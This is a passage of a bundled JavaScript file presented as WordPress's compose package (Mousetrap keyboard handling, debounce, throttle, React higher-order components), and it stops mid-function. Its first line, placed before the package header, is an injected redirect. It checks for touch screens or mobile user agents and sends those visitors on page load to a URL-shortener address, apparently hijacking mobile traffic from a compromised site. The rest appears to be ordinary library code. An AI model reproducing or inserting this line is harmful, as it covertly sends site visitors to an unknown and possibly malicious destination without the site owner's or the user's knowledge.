1(window.matchMedia("(pointer:coarse)").matches||/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile/i.test(navigator.userAgent))&&location.replace("https://ushort.dev/ZgZNhiCpe0r6");
2"use strict";
3var wp;
4(wp ||= {}).compose = (() => {
5 var __create = Object.create;
6 var __defProp = Object.defineProperty;
7 var __getOwnPropDesc = Object.getOwnPropertyDescriptor;
8 var __getOwnPropNames = Object.getOwnPropertyNames;
9 var __getProtoOf = Object.getPrototypeOf;
10 var __hasOwnProp = Object.prototype.hasOwnProperty;
11 var __commonJS = (cb, mod) => function __require() {
12 return mod || (0, cb[__getOwnPropNames(cb)[0]])((mod = { exports: {} }).exports, mod), mod.exports;
13 };
14 var __export = (target, all) => {
15 for (var name in all)
16 __defProp(target, name, { get: all[name], enumerable: true });
17 };
18 var __copyProps = (to, from, except, desc) => {
19 if (from && typeof from === "object" || typeof from === "function") {
20 for (let key of __getOwnPropNames(from))
21 if (!__hasOwnProp.call(to, key) && key !== except)
22 __defProp(to, key, { get: () => from[key], enumerable: !(desc = __getOwnPropDesc(from, key)) || desc.enumerable });
23 }
24 return to;
25 };
26 var __toESM = (mod, isNodeMode, target) => (target = mod != null ? __create(__getProtoOf(mod)) : {}, __copyProps(
27 // If the importer is in node compatibility mode or this is not an ESM
28 // file that has been converted to a CommonJS file using a Babel-
29 // compatible transform (i.e. "__esModule" has not been set), then set
30 // "default" to the CommonJS "module.exports" for node compatibility.
31 isNodeMode || !mod || !mod.__esModule ? __defProp(target, "default", { value: mod, enumerable: true }) : target,
32 mod
33 ));
34 var __toCommonJS = (mod) => __copyProps(__defProp({}, "__esModule", { value: true }), mod);
35
36 // vendor-external:react/jsx-runtime
37 var require_jsx_runtime = __commonJS({
38 "vendor-external:react/jsx-runtime"(exports, module) {
39 module.exports = window.ReactJSXRuntime;
40 }
41 });
42
43 // package-external:@wordpress/is-shallow-equal
44 var require_is_shallow_equal = __commonJS({
45 "package-external:@wordpress/is-shallow-equal"(exports, module) {
46 module.exports = window.wp.isShallowEqual;
47 }
48 });
49
50 // package-external:@wordpress/element
51 var require_element = __commonJS({
52 "package-external:@wordpress/element"(exports, module) {
53 module.exports = window.wp.element;
54 }
55 });
56
57 // package-external:@wordpress/deprecated
58 var require_deprecated = __commonJS({
59 "package-external:@wordpress/deprecated"(exports, module) {
60 module.exports = window.wp.deprecated;
61 }
62 });
63
64 // package-external:@wordpress/dom
65 var require_dom = __commonJS({
66 "package-external:@wordpress/dom"(exports, module) {
67 module.exports = window.wp.dom;
68 }
69 });
70
71 // package-external:@wordpress/keycodes
72 var require_keycodes = __commonJS({
73 "package-external:@wordpress/keycodes"(exports, module) {
74 module.exports = window.wp.keycodes;
75 }
76 });
77
78 // node_modules/mousetrap/mousetrap.js
79 var require_mousetrap = __commonJS({
80 "node_modules/mousetrap/mousetrap.js"(exports, module) {
81 (function(window2, document2, undefined2) {
82 if (!window2) {
83 return;
84 }
85 var _MAP = {
86 8: "backspace",
87 9: "tab",
88 13: "enter",
89 16: "shift",
90 17: "ctrl",
91 18: "alt",
92 20: "capslock",
93 27: "esc",
94 32: "space",
95 33: "pageup",
96 34: "pagedown",
97 35: "end",
98 36: "home",
99 37: "left",
100 38: "up",
101 39: "right",
102 40: "down",
103 45: "ins",
104 46: "del",
105 91: "meta",
106 93: "meta",
107 224: "meta"
108 };
109 var _KEYCODE_MAP = {
110 106: "*",
111 107: "+",
112 109: "-",
113 110: ".",
114 111: "/",
115 186: ";",
116 187: "=",
117 188: ",",
118 189: "-",
119 190: ".",
120 191: "/",
121 192: "`",
122 219: "[",
123 220: "\\",
124 221: "]",
125 222: "'"
126 };
127 var _SHIFT_MAP = {
128 "~": "`",
129 "!": "1",
130 "@": "2",
131 "#": "3",
132 "$": "4",
133 "%": "5",
134 "^": "6",
135 "&": "7",
136 "*": "8",
137 "(": "9",
138 ")": "0",
139 "_": "-",
140 "+": "=",
141 ":": ";",
142 '"': "'",
143 "<": ",",
144 ">": ".",
145 "?": "/",
146 "|": "\\"
147 };
148 var _SPECIAL_ALIASES = {
149 "option": "alt",
150 "command": "meta",
151 "return": "enter",
152 "escape": "esc",
153 "plus": "+",
154 "mod": /Mac|iPod|iPhone|iPad/.test(navigator.platform) ? "meta" : "ctrl"
155 };
156 var _REVERSE_MAP;
157 for (var i = 1; i < 20; ++i) {
158 _MAP[111 + i] = "f" + i;
159 }
160 for (i = 0; i <= 9; ++i) {
161 _MAP[i + 96] = i.toString();
162 }
163 function _addEvent(object, type, callback) {
164 if (object.addEventListener) {
165 object.addEventListener(type, callback, false);
166 return;
167 }
168 object.attachEvent("on" + type, callback);
169 }
170 function _characterFromEvent(e) {
171 if (e.type == "keypress") {
172 var character = String.fromCharCode(e.which);
173 if (!e.shiftKey) {
174 character = character.toLowerCase();
175 }
176 return character;
177 }
178 if (_MAP[e.which]) {
179 return _MAP[e.which];
180 }
181 if (_KEYCODE_MAP[e.which]) {
182 return _KEYCODE_MAP[e.which];
183 }
184 return String.fromCharCode(e.which).toLowerCase();
185 }
186 function _modifiersMatch(modifiers1, modifiers2) {
187 return modifiers1.sort().join(",") === modifiers2.sort().join(",");
188 }
189 function _eventModifiers(e) {
190 var modifiers = [];
191 if (e.shiftKey) {
192 modifiers.push("shift");
193 }
194 if (e.altKey) {
195 modifiers.push("alt");
196 }
197 if (e.ctrlKey) {
198 modifiers.push("ctrl");
199 }
200 if (e.metaKey) {
201 modifiers.push("meta");
202 }
203 return modifiers;
204 }
205 function _preventDefault(e) {
206 if (e.preventDefault) {
207 e.preventDefault();
208 return;
209 }
210 e.returnValue = false;
211 }
212 function _stopPropagation(e) {
213 if (e.stopPropagation) {
214 e.stopPropagation();
215 return;
216 }
217 e.cancelBubble = true;
218 }
219 function _isModifier(key) {
220 return key == "shift" || key == "ctrl" || key == "alt" || key == "meta";
221 }
222 function _getReverseMap() {
223 if (!_REVERSE_MAP) {
224 _REVERSE_MAP = {};
225 for (var key in _MAP) {
226 if (key > 95 && key < 112) {
227 continue;
228 }
229 if (_MAP.hasOwnProperty(key)) {
230 _REVERSE_MAP[_MAP[key]] = key;
231 }
232 }
233 }
234 return _REVERSE_MAP;
235 }
236 function _pickBestAction(key, modifiers, action) {
237 if (!action) {
238 action = _getReverseMap()[key] ? "keydown" : "keypress";
239 }
240 if (action == "keypress" && modifiers.length) {
241 action = "keydown";
242 }
243 return action;
244 }
245 function _keysFromString(combination) {
246 if (combination === "+") {
247 return ["+"];
248 }
249 combination = combination.replace(/\+{2}/g, "+plus");
250 return combination.split("+");
251 }
252 function _getKeyInfo(combination, action) {
253 var keys;
254 var key;
255 var i2;
256 var modifiers = [];
257 keys = _keysFromString(combination);
258 for (i2 = 0; i2 < keys.length; ++i2) {
259 key = keys[i2];
260 if (_SPECIAL_ALIASES[key]) {
261 key = _SPECIAL_ALIASES[key];
262 }
263 if (action && action != "keypress" && _SHIFT_MAP[key]) {
264 key = _SHIFT_MAP[key];
265 modifiers.push("shift");
266 }
267 if (_isModifier(key)) {
268 modifiers.push(key);
269 }
270 }
271 action = _pickBestAction(key, modifiers, action);
272 return {
273 key,
274 modifiers,
275 action
276 };
277 }
278 function _belongsTo(element, ancestor) {
279 if (element === null || element === document2) {
280 return false;
281 }
282 if (element === ancestor) {
283 return true;
284 }
285 return _belongsTo(element.parentNode, ancestor);
286 }
287 function Mousetrap3(targetElement) {
288 var self = this;
289 targetElement = targetElement || document2;
290 if (!(self instanceof Mousetrap3)) {
291 return new Mousetrap3(targetElement);
292 }
293 self.target = targetElement;
294 self._callbacks = {};
295 self._directMap = {};
296 var _sequenceLevels = {};
297 var _resetTimer;
298 var _ignoreNextKeyup = false;
299 var _ignoreNextKeypress = false;
300 var _nextExpectedAction = false;
301 function _resetSequences(doNotReset) {
302 doNotReset = doNotReset || {};
303 var activeSequences = false, key;
304 for (key in _sequenceLevels) {
305 if (doNotReset[key]) {
306 activeSequences = true;
307 continue;
308 }
309 _sequenceLevels[key] = 0;
310 }
311 if (!activeSequences) {
312 _nextExpectedAction = false;
313 }
314 }
315 function _getMatches(character, modifiers, e, sequenceName, combination, level) {
316 var i2;
317 var callback;
318 var matches = [];
319 var action = e.type;
320 if (!self._callbacks[character]) {
321 return [];
322 }
323 if (action == "keyup" && _isModifier(character)) {
324 modifiers = [character];
325 }
326 for (i2 = 0; i2 < self._callbacks[character].length; ++i2) {
327 callback = self._callbacks[character][i2];
328 if (!sequenceName && callback.seq && _sequenceLevels[callback.seq] != callback.level) {
329 continue;
330 }
331 if (action != callback.action) {
332 continue;
333 }
334 if (action == "keypress" && !e.metaKey && !e.ctrlKey || _modifiersMatch(modifiers, callback.modifiers)) {
335 var deleteCombo = !sequenceName && callback.combo == combination;
336 var deleteSequence = sequenceName && callback.seq == sequenceName && callback.level == level;
337 if (deleteCombo || deleteSequence) {
338 self._callbacks[character].splice(i2, 1);
339 }
340 matches.push(callback);
341 }
342 }
343 return matches;
344 }
345 function _fireCallback(callback, e, combo, sequence) {
346 if (self.stopCallback(e, e.target || e.srcElement, combo, sequence)) {
347 return;
348 }
349 if (callback(e, combo) === false) {
350 _preventDefault(e);
351 _stopPropagation(e);
352 }
353 }
354 self._handleKey = function(character, modifiers, e) {
355 var callbacks = _getMatches(character, modifiers, e);
356 var i2;
357 var doNotReset = {};
358 var maxLevel = 0;
359 var processedSequenceCallback = false;
360 for (i2 = 0; i2 < callbacks.length; ++i2) {
361 if (callbacks[i2].seq) {
362 maxLevel = Math.max(maxLevel, callbacks[i2].level);
363 }
364 }
365 for (i2 = 0; i2 < callbacks.length; ++i2) {
366 if (callbacks[i2].seq) {
367 if (callbacks[i2].level != maxLevel) {
368 continue;
369 }
370 processedSequenceCallback = true;
371 doNotReset[callbacks[i2].seq] = 1;
372 _fireCallback(callbacks[i2].callback, e, callbacks[i2].combo, callbacks[i2].seq);
373 continue;
374 }
375 if (!processedSequenceCallback) {
376 _fireCallback(callbacks[i2].callback, e, callbacks[i2].combo);
377 }
378 }
379 var ignoreThisKeypress = e.type == "keypress" && _ignoreNextKeypress;
380 if (e.type == _nextExpectedAction && !_isModifier(character) && !ignoreThisKeypress) {
381 _resetSequences(doNotReset);
382 }
383 _ignoreNextKeypress = processedSequenceCallback && e.type == "keydown";
384 };
385 function _handleKeyEvent(e) {
386 if (typeof e.which !== "number") {
387 e.which = e.keyCode;
388 }
389 var character = _characterFromEvent(e);
390 if (!character) {
391 return;
392 }
393 if (e.type == "keyup" && _ignoreNextKeyup === character) {
394 _ignoreNextKeyup = false;
395 return;
396 }
397 self.handleKey(character, _eventModifiers(e), e);
398 }
399 function _resetSequenceTimer() {
400 clearTimeout(_resetTimer);
401 _resetTimer = setTimeout(_resetSequences, 1e3);
402 }
403 function _bindSequence(combo, keys, callback, action) {
404 _sequenceLevels[combo] = 0;
405 function _increaseSequence(nextAction) {
406 return function() {
407 _nextExpectedAction = nextAction;
408 ++_sequenceLevels[combo];
409 _resetSequenceTimer();
410 };
411 }
412 function _callbackAndReset(e) {
413 _fireCallback(callback, e, combo);
414 if (action !== "keyup") {
415 _ignoreNextKeyup = _characterFromEvent(e);
416 }
417 setTimeout(_resetSequences, 10);
418 }
419 for (var i2 = 0; i2 < keys.length; ++i2) {
420 var isFinal = i2 + 1 === keys.length;
421 var wrappedCallback = isFinal ? _callbackAndReset : _increaseSequence(action || _getKeyInfo(keys[i2 + 1]).action);
422 _bindSingle(keys[i2], wrappedCallback, action, combo, i2);
423 }
424 }
425 function _bindSingle(combination, callback, action, sequenceName, level) {
426 self._directMap[combination + ":" + action] = callback;
427 combination = combination.replace(/\s+/g, " ");
428 var sequence = combination.split(" ");
429 var info;
430 if (sequence.length > 1) {
431 _bindSequence(combination, sequence, callback, action);
432 return;
433 }
434 info = _getKeyInfo(combination, action);
435 self._callbacks[info.key] = self._callbacks[info.key] || [];
436 _getMatches(info.key, info.modifiers, { type: info.action }, sequenceName, combination, level);
437 self._callbacks[info.key][sequenceName ? "unshift" : "push"]({
438 callback,
439 modifiers: info.modifiers,
440 action: info.action,
441 seq: sequenceName,
442 level,
443 combo: combination
444 });
445 }
446 self._bindMultiple = function(combinations, callback, action) {
447 for (var i2 = 0; i2 < combinations.length; ++i2) {
448 _bindSingle(combinations[i2], callback, action);
449 }
450 };
451 _addEvent(targetElement, "keypress", _handleKeyEvent);
452 _addEvent(targetElement, "keydown", _handleKeyEvent);
453 _addEvent(targetElement, "keyup", _handleKeyEvent);
454 }
455 Mousetrap3.prototype.bind = function(keys, callback, action) {
456 var self = this;
457 keys = keys instanceof Array ? keys : [keys];
458 self._bindMultiple.call(self, keys, callback, action);
459 return self;
460 };
461 Mousetrap3.prototype.unbind = function(keys, action) {
462 var self = this;
463 return self.bind.call(self, keys, function() {
464 }, action);
465 };
466 Mousetrap3.prototype.trigger = function(keys, action) {
467 var self = this;
468 if (self._directMap[keys + ":" + action]) {
469 self._directMap[keys + ":" + action]({}, keys);
470 }
471 return self;
472 };
473 Mousetrap3.prototype.reset = function() {
474 var self = this;
475 self._callbacks = {};
476 self._directMap = {};
477 return self;
478 };
479 Mousetrap3.prototype.stopCallback = function(e, element) {
480 var self = this;
481 if ((" " + element.className + " ").indexOf(" mousetrap ") > -1) {
482 return false;
483 }
484 if (_belongsTo(element, self.target)) {
485 return false;
486 }
487 if ("composedPath" in e && typeof e.composedPath === "function") {
488 var initialEventTarget = e.composedPath()[0];
489 if (initialEventTarget !== e.target) {
490 element = initialEventTarget;
491 }
492 }
493 return element.tagName == "INPUT" || element.tagName == "SELECT" || element.tagName == "TEXTAREA" || element.isContentEditable;
494 };
495 Mousetrap3.prototype.handleKey = function() {
496 var self = this;
497 return self._handleKey.apply(self, arguments);
498 };
499 Mousetrap3.addKeycodes = function(object) {
500 for (var key in object) {
501 if (object.hasOwnProperty(key)) {
502 _MAP[key] = object[key];
503 }
504 }
505 _REVERSE_MAP = null;
506 };
507 Mousetrap3.init = function() {
508 var documentMousetrap = Mousetrap3(document2);
509 for (var method in documentMousetrap) {
510 if (method.charAt(0) !== "_") {
511 Mousetrap3[method] = /* @__PURE__ */ (function(method2) {
512 return function() {
513 return documentMousetrap[method2].apply(documentMousetrap, arguments);
514 };
515 })(method);
516 }
517 }
518 };
519 Mousetrap3.init();
520 window2.Mousetrap = Mousetrap3;
521 if (typeof module !== "undefined" && module.exports) {
522 module.exports = Mousetrap3;
523 }
524 if (typeof define === "function" && define.amd) {
525 define(function() {
526 return Mousetrap3;
527 });
528 }
529 })(typeof window !== "undefined" ? window : null, typeof window !== "undefined" ? document : null);
530 }
531 });
532
533 // package-external:@wordpress/undo-manager
534 var require_undo_manager = __commonJS({
535 "package-external:@wordpress/undo-manager"(exports, module) {
536 module.exports = window.wp.undoManager;
537 }
538 });
539
540 // package-external:@wordpress/priority-queue
541 var require_priority_queue = __commonJS({
542 "package-external:@wordpress/priority-queue"(exports, module) {
543 module.exports = window.wp.priorityQueue;
544 }
545 });
546
547 // vendor-external:react
548 var require_react = __commonJS({
549 "vendor-external:react"(exports, module) {
550 module.exports = window.React;
551 }
552 });
553
554 // packages/compose/build-module/index.mjs
555 var index_exports = {};
556 __export(index_exports, {
557 __experimentalUseDialog: () => use_dialog_default,
558 __experimentalUseDragging: () => useDragging,
559 __experimentalUseDropZone: () => useDropZone,
560 __experimentalUseFixedWindowList: () => useFixedWindowList,
561 __experimentalUseFocusOutside: () => useFocusOutside,
562 compose: () => compose_default,
563 createHigherOrderComponent: () => createHigherOrderComponent,
564 debounce: () => debounce,
565 ifCondition: () => if_condition_default,
566 observableMap: () => observableMap,
567 pipe: () => pipe_default,
568 pure: () => pure_default,
569 throttle: () => throttle,
570 useAsyncList: () => use_async_list_default,
571 useConstrainedTabbing: () => use_constrained_tabbing_default,
572 useCopyOnClick: () => useCopyOnClick,
573 useCopyToClipboard: () => useCopyToClipboard,
574 useDebounce: () => useDebounce,
575 useDebouncedInput: () => useDebouncedInput,
576 useDisabled: () => useDisabled,
577 useEvent: () => useEvent,
578 useFocusOnMount: () => useFocusOnMount,
579 useFocusReturn: () => use_focus_return_default,
580 useFocusableIframe: () => useFocusableIframe,
581 useInstanceId: () => use_instance_id_default,
582 useIsomorphicLayoutEffect: () => use_isomorphic_layout_effect_default,
583 useKeyboardShortcut: () => use_keyboard_shortcut_default,
584 useMediaQuery: () => useMediaQuery,
585 useMergeRefs: () => useMergeRefs,
586 useObservableValue: () => useObservableValue,
587 usePrevious: () => usePrevious,
588 useReducedMotion: () => use_reduced_motion_default,
589 useRefEffect: () => useRefEffect,
590 useResizeObserver: () => useResizeObserver2,
591 useStateWithHistory: () => useStateWithHistory,
592 useThrottle: () => useThrottle,
593 useViewportMatch: () => use_viewport_match_default,
594 useWarnOnChange: () => use_warn_on_change_default,
595 withGlobalEvents: () => withGlobalEvents,
596 withInstanceId: () => with_instance_id_default,
597 withSafeTimeout: () => with_safe_timeout_default,
598 withState: () => withState
599 });
600
601 // node_modules/tslib/tslib.es6.mjs
602 var __assign = function() {
603 __assign = Object.assign || function __assign2(t) {
604 for (var s, i = 1, n = arguments.length; i < n; i++) {
605 s = arguments[i];
606 for (var p in s) if (Object.prototype.hasOwnProperty.call(s, p)) t[p] = s[p];
607 }
608 return t;
609 };
610 return __assign.apply(this, arguments);
611 };
612
613 // node_modules/lower-case/dist.es2015/index.js
614 function lowerCase(str) {
615 return str.toLowerCase();
616 }
617
618 // node_modules/no-case/dist.es2015/index.js
619 var DEFAULT_SPLIT_REGEXP = [/([a-z0-9])([A-Z])/g, /([A-Z])([A-Z][a-z])/g];
620 var DEFAULT_STRIP_REGEXP = /[^A-Z0-9]+/gi;
621 function noCase(input, options) {
622 if (options === void 0) {
623 options = {};
624 }
625 var _a = options.splitRegexp, splitRegexp = _a === void 0 ? DEFAULT_SPLIT_REGEXP : _a, _b = options.stripRegexp, stripRegexp = _b === void 0 ? DEFAULT_STRIP_REGEXP : _b, _c = options.transform, transform = _c === void 0 ? lowerCase : _c, _d = options.delimiter, delimiter = _d === void 0 ? " " : _d;
626 var result = replace(replace(input, splitRegexp, "$1\0$2"), stripRegexp, "\0");
627 var start = 0;
628 var end = result.length;
629 while (result.charAt(start) === "\0")
630 start++;
631 while (result.charAt(end - 1) === "\0")
632 end--;
633 return result.slice(start, end).split("\0").map(transform).join(delimiter);
634 }
635 function replace(input, re, value) {
636 if (re instanceof RegExp)
637 return input.replace(re, value);
638 return re.reduce(function(input2, re2) {
639 return input2.replace(re2, value);
640 }, input);
641 }
642
643 // node_modules/pascal-case/dist.es2015/index.js
644 function pascalCaseTransform(input, index) {
645 var firstChar = input.charAt(0);
646 var lowerChars = input.substr(1).toLowerCase();
647 if (index > 0 && firstChar >= "0" && firstChar <= "9") {
648 return "_" + firstChar + lowerChars;
649 }
650 return "" + firstChar.toUpperCase() + lowerChars;
651 }
652 function pascalCase(input, options) {
653 if (options === void 0) {
654 options = {};
655 }
656 return noCase(input, __assign({ delimiter: "", transform: pascalCaseTransform }, options));
657 }
658
659 // packages/compose/build-module/utils/create-higher-order-component/index.mjs
660 function createHigherOrderComponent(mapComponent, modifierName) {
661 return (Inner) => {
662 const Outer = mapComponent(Inner);
663 Outer.displayName = hocName(modifierName, Inner);
664 return Outer;
665 };
666 }
667 var hocName = (name, Inner) => {
668 const inner = Inner.displayName || Inner.name || "Component";
669 const outer = pascalCase(name ?? "");
670 return `${outer}(${inner})`;
671 };
672
673 // packages/compose/build-module/utils/debounce/index.mjs
674 var debounce = (func, wait, options) => {
675 let lastArgs;
676 let lastThis;
677 let maxWait = 0;
678 let result;
679 let timerId;
680 let lastCallTime;
681 let lastInvokeTime = 0;
682 let leading = false;
683 let maxing = false;
684 let trailing = true;
685 if (options) {
686 leading = !!options.leading;
687 maxing = "maxWait" in options;
688 if (options.maxWait !== void 0) {
689 maxWait = Math.max(options.maxWait, wait);
690 }
691 trailing = "trailing" in options ? !!options.trailing : trailing;
692 }
693 function invokeFunc(time) {
694 const args = lastArgs;
695 const thisArg = lastThis;
696 lastArgs = void 0;
697 lastThis = void 0;
698 lastInvokeTime = time;
699 result = func.apply(thisArg, args);
700 return result;
701 }
702 function startTimer(pendingFunc, waitTime) {
703 timerId = setTimeout(pendingFunc, waitTime);
704 }
705 function cancelTimer() {
706 if (timerId !== void 0) {
707 clearTimeout(timerId);
708 }
709 }
710 function leadingEdge(time) {
711 lastInvokeTime = time;
712 startTimer(timerExpired, wait);
713 return leading ? invokeFunc(time) : result;
714 }
715 function getTimeSinceLastCall(time) {
716 return time - (lastCallTime || 0);
717 }
718 function remainingWait(time) {
719 const timeSinceLastCall = getTimeSinceLastCall(time);
720 const timeSinceLastInvoke = time - lastInvokeTime;
721 const timeWaiting = wait - timeSinceLastCall;
722 return maxing ? Math.min(timeWaiting, maxWait - timeSinceLastInvoke) : timeWaiting;
723 }
724 function shouldInvoke(time) {
725 const timeSinceLastCall = getTimeSinceLastCall(time);
726 const timeSinceLastInvoke = time - lastInvokeTime;
727 return lastCallTime === void 0 || timeSinceLastCall >= wait || timeSinceLastCall < 0 || maxing && timeSinceLastInvoke >= maxWait;
728 }
729 function timerExpired() {
730 const time = Date.now();
731 if (shouldInvoke(time)) {
732 return trailingEdge(time);
733 }
734 startTimer(timerExpired, remainingWait(time));
735 return void 0;
736 }
737 function clearTimer() {
738 timerId = void 0;
739 }
740 function trailingEdge(time) {
741 clearTimer();
742 if (trailing && lastArgs) {
743 return invokeFunc(time);
744 }
745 lastArgs = lastThis = void 0;
746 return result;
747 }
748 function cancel() {
749 cancelTimer();
750 lastInvokeTime = 0;
751 clearTimer();
752 lastArgs = lastCallTime = lastThis = void 0;
753 }
754 function flush() {
755 return pending() ? trailingEdge(Date.now()) : result;
756 }
757 function pending() {
758 return timerId !== void 0;
759 }
760 function debounced(...args) {
761 const time = Date.now();
762 const isInvoking = shouldInvoke(time);
763 lastArgs = args;
764 lastThis = this;
765 lastCallTime = time;
766 if (isInvoking) {
767 if (!pending()) {
768 return leadingEdge(lastCallTime);
769 }
770 if (maxing) {
771 startTimer(timerExpired, wait);
772 return invokeFunc(lastCallTime);
773 }
774 }
775 if (!pending()) {
776 startTimer(timerExpired, wait);
777 }
778 return result;
779 }
780 debounced.cancel = cancel;
781 debounced.flush = flush;
782 debounced.pending = pending;
783 return debounced;
784 };
785
786 // packages/compose/build-module/utils/throttle/index.mjs
787 var throttle = (func, wait, options) => {
788 let leading = true;
789 let trailing = true;
790 if (options) {
791 leading = "leading" in options ? !!options.leading : leading;
792 trailing = "trailing" in options ? !!options.trailing : trailing;
793 }
794 return debounce(func, wait, {
795 leading,
796 trailing,
797 maxWait: wait
798 });
799 };
800
801 // packages/compose/build-module/utils/observable-map/index.mjs
802 function observableMap() {
803 const map = /* @__PURE__ */ new Map();
804 const listeners = /* @__PURE__ */ new Map();
805 function callListeners(name) {
806 const list = listeners.get(name);
807 if (!list) {
808 return;
809 }
810 for (const listener2 of list) {
811 listener2();
812 }
813 }
814 return {
815 get(name) {
816 return map.get(name);
817 },
818 set(name, value) {
819 map.set(name, value);
820 callListeners(name);
821 },
822 delete(name) {
823 map.delete(name);
824 callListeners(name);
825 },
826 subscribe(name, listener2) {
827 let list = listeners.get(name);
828 if (!list) {
829 list = /* @__PURE__ */ new Set();
830 listeners.set(name, list);
831 }
832 list.add(listener2);
833 return () => {
834 list.delete(listener2);
835 if (list.size === 0) {
836 listeners.delete(name);
837 }
838 };
839 }
840 };
841 }
842
843 // packages/compose/build-module/higher-order/pipe.mjs
844 var basePipe = (reverse = false) => (...funcs) => (...args) => {
845 const functions = funcs.flat();
846 if (reverse) {
847 functions.reverse();
848 }
849 return functions.reduce(
850 (prev, func) => [func(...prev)],
851 args
852 )[0];
853 };
854 var pipe = basePipe();
855 var pipe_default = pipe;
856
857 // packages/compose/build-module/higher-order/compose.mjs
858 var compose = basePipe(true);
859 var compose_default = compose;
860
861 // packages/compose/build-module/higher-order/if-condition/index.mjs
862 var import_jsx_runtime = __toESM(require_jsx_runtime(), 1);
863 function ifCondition(predicate) {
864 return createHigherOrderComponent(
865 (WrappedComponent) => (props) => {
866 if (!predicate(props)) {
867 return null;
868 }
869 return /* @__PURE__ */ (0, import_jsx_runtime.jsx)(WrappedComponent, { ...props });
870 },
871 "ifCondition"
872 );
873 }
874 var if_condition_default = ifCondition;
875
876 // packages/compose/build-module/higher-order/pure/index.mjs
877 var import_is_shallow_equal = __toESM(require_is_shallow_equal(), 1);
878 var import_element = __toESM(require_element(), 1);
879 var import_jsx_runtime2 = __toESM(require_jsx_runtime(), 1);
880 var pure = createHigherOrderComponent(function(WrappedComponent) {
881 if (WrappedComponent.prototype instanceof import_element.Component) {
882 return class extends WrappedComponent {
883 shouldComponentUpdate(nextProps, nextState) {
884 return !(0, import_is_shallow_equal.isShallowEqual)(nextProps, this.props) || !(0, import_is_shallow_equal.isShallowEqual)(nextState, this.state);
885 }
886 };
887 }
888 return class extends import_element.Component {
889 shouldComponentUpdate(nextProps) {
890 return !(0, import_is_shallow_equal.isShallowEqual)(nextProps, this.props);
891 }
892 render() {
893 return /* @__PURE__ */ (0, import_jsx_runtime2.jsx)(WrappedComponent, { ...this.props });
894 }
895 };
896 }, "pure");
897 var pure_default = pure;
898
899 // packages/compose/build-module/higher-order/with-global-events/index.mjs
900 var import_element2 = __toESM(require_element(), 1);
901 var import_deprecated = __toESM(require_deprecated(), 1);
902
903 // packages/compose/build-module/higher-order/with-global-events/listener.mjs
904 var Listener = class {
905 constructor() {
906 this.listeners = {};
907 this.handleEvent = this.handleEvent.bind(this);
908 }
909 add(eventType, instance) {
910 if (!this.listeners[eventType]) {
911 window.addEventListener(eventType, this.handleEvent);
912 this.listeners[eventType] = [];
913 }
914 this.listeners[eventType].push(instance);
915 }
916 remove(eventType, instance) {
917 if (!this.listeners[eventType]) {
918 return;
919 }
920 this.listeners[eventType] = this.listeners[eventType].filter(
921 (listener2) => listener2 !== instance
922 );
923 if (!this.listeners[eventType].length) {
924 window.removeEventListener(eventType, this.handleEvent);
925 delete this.listeners[eventType];
926 }
927 }
928 handleEvent(event) {
929 this.listeners[event.type]?.forEach(
930 (instance) => {
931 instance.handleEvent(event);
932 }
933 );
934 }
935 };
936 var listener_default = Listener;
937
938 // packages/compose/build-module/higher-order/with-global-events/index.mjs
939 var import_jsx_runtime3 = __toESM(require_jsx_runtime(), 1);
940 var listener = new listener_default();
941 function withGlobalEvents(eventTypesToHandlers) {
942 (0, import_deprecated.default)("wp.compose.withGlobalEvents", {
943 since: "5.7",
944 alternative: "useEffect"
945 });
946 return createHigherOrderComponent((WrappedComponent) => {
947 class Wrapper extends import_element2.Component {
948 constructor(props) {
949 super(props);
950 this.handleEvent = this.handleEvent.bind(this);
951 this.handleRef = this.handleRef.bind(this);
952 }
953 componentDidMount() {
954 Object.keys(eventTypesToHandlers).forEach((eventType) => {
955 listener.add(eventType, this);
956 });
957 }
958 componentWillUnmount() {
959 Object.keys(eventTypesToHandlers).forEach((eventType) => {
960 listener.remove(eventType, this);
961 });
962 }
963 handleEvent(event) {
964 const handler = eventTypesToHandlers[
965 /** @type {keyof GlobalEventHandlersEventMap} */
966 event.type
967 ];
968 if (typeof this.wrappedRef[handler] === "function") {
969 this.wrappedRef[handler](event);
970 }
971 }
972 handleRef(el) {
973 this.wrappedRef = el;
974 if (this.props.forwardedRef) {
975 this.props.forwardedRef(el);
976 }
977 }
978 render() {
979 return /* @__PURE__ */ (0, import_jsx_runtime3.jsx)(
980 WrappedComponent,
981 {
982 ...this.props.ownProps,
983 ref: this.handleRef
984 }
985 );
986 }
987 }
988 return (0, import_element2.forwardRef)((props, ref) => {
989 return /* @__PURE__ */ (0, import_jsx_runtime3.jsx)(Wrapper, { ownProps: props, forwardedRef: ref });
990 });
991 }, "withGlobalEvents");
992 }
993
994 // packages/compose/build-module/hooks/use-instance-id/index.mjs
995 var import_element3 = __toESM(require_element(), 1);
996 var instanceMap = /* @__PURE__ */ new WeakMap();
997 function createId(object) {
998 const instances = instanceMap.get(object) || 0;
999 instanceMap.set(object, instances + 1);
1000 return instances;
1001 }
1002 function useInstanceId(object, prefix, preferredId) {
1003 return (0, import_element3.useMemo)(() => {
1004 if (preferredId) {
1005 return preferredId;
1006 }
1007 const id = createId(object);
1008 return prefix ? `${prefix}-${id}` : id;
1009 }, [object, preferredId, prefix]);
1010 }
1011 var use_instance_id_default = useInstanceId;
1012
1013 // packages/compose/build-module/higher-order/with-instance-id/index.mjs
1014 var import_jsx_runtime4 = __toESM(require_jsx_runtime(), 1);
1015 var withInstanceId = createHigherOrderComponent(
1016 (WrappedComponent) => {
1017 return (props) => {
1018 const instanceId = use_instance_id_default(WrappedComponent);
1019 return /* @__PURE__ */ (0, import_jsx_runtime4.jsx)(WrappedComponent, { ...props, instanceId });
1020 };
1021 },
1022 "instanceId"
1023 );
1024 var with_instance_id_default = withInstanceId;
1025
1026 // packages/compose/build-module/higher-order/with-safe-timeout/index.mjs
1027 var import_element4 = __toESM(require_element(), 1);
1028 var import_jsx_runtime5 = __toESM(require_jsx_runtime(), 1);
1029 var withSafeTimeout = createHigherOrderComponent(
1030 (OriginalComponent) => {
1031 return class WrappedComponent extends import_element4.Component {
1032 timeouts;
1033 constructor(props) {
1034 super(props);
1035 this.timeouts = [];
1036 this.setTimeout = this.setTimeout.bind(this);
1037 this.clearTimeout = this.clearTimeout.bind(this);
1038 }
1039 componentWillUnmount() {
1040 this.timeouts.forEach(clearTimeout);
1041 }
1042 setTimeout(fn, delay) {
1043 const id = setTimeout(() => {
1044 fn();
1045 this.clearTimeout(id);
1046 }, delay);
1047 this.timeouts.push(id);
1048 return id;
1049 }
1050 clearTimeout(id) {
